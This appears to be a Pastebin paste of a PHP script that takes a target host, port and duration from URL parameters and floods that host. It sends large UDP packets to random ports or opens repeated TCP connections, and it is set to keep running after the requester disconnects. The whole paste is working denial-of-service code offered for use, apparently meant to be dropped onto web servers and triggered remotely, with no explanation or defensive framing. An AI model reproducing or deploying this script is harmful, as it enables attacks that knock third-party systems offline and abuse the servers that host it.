Advertisement
Guest User

Untitled

a guest
Mar 24th, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.64 KB | None | 0 0
  1. <?php
  2.  
  3. function udpFlood() {
  4. //UDP ?host=IP&time=60
  5. $host=$_GET['host'];
  6. $time=$_GET['time'];
  7. if(isset($host)&&isset($time)){
  8. $packets = 0;
  9. ignore_user_abort(TRUE);
  10. set_time_limit(0);
  11.  
  12. $exec_time = $_GET['time'];
  13.  
  14. $time = time();
  15. //print "Started: ".time('d-m-y h:i:s')."<br>";
  16. $max_time = $time+$exec_time;
  17.  
  18. $host = $_GET['host'];
  19.  
  20. for($i=0;$i<65000;$i++){
  21. $out .= 'X';
  22. }
  23. while(1){
  24. $packets++;
  25. if(time() > $max_time){
  26. break;
  27. exit();
  28. }
  29. $rand = rand(1,65000);
  30. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  31. if($fp){
  32. fwrite($fp, $out);
  33. fclose($fp);
  34. }
  35. }
  36. }
  37. }
  38.  
  39. function tcpFlood() {
  40. //TCP ?host=IP&port=80&time=60
  41. $host=$_GET['host'];
  42. $port=$_GET['port'];
  43. $exec_time=$_GET['time'];
  44. if(isset($host)&&isset($time)){
  45. $packets = 0;
  46. ignore_user_abort(FALSE);
  47. set_time_limit(0);
  48.  
  49. $time = time();
  50. $max_time = $time+$exec_time;
  51.  
  52. for($i=0;$i<65000;$i++){
  53. $out .= 'X';
  54. }
  55. while(1){
  56. $packets++;
  57. if(time() > $max_time){
  58. break;
  59. exit();
  60. }
  61. $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
  62. if($fp){
  63. fwrite($fp, $out);
  64. fclose($fp);
  65. }
  66. }
  67. }
  68. }
  69.  
  70. if(isset($_GET['meth'])) {
  71. if ($_GET['meth'] == 'TCP') {
  72. tcpFlood();
  73. }elseif ($_GET['meth'] == 'UDP') {
  74. udpFlood();
  75. }else{
  76. exit();
  77. }
  78. }
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement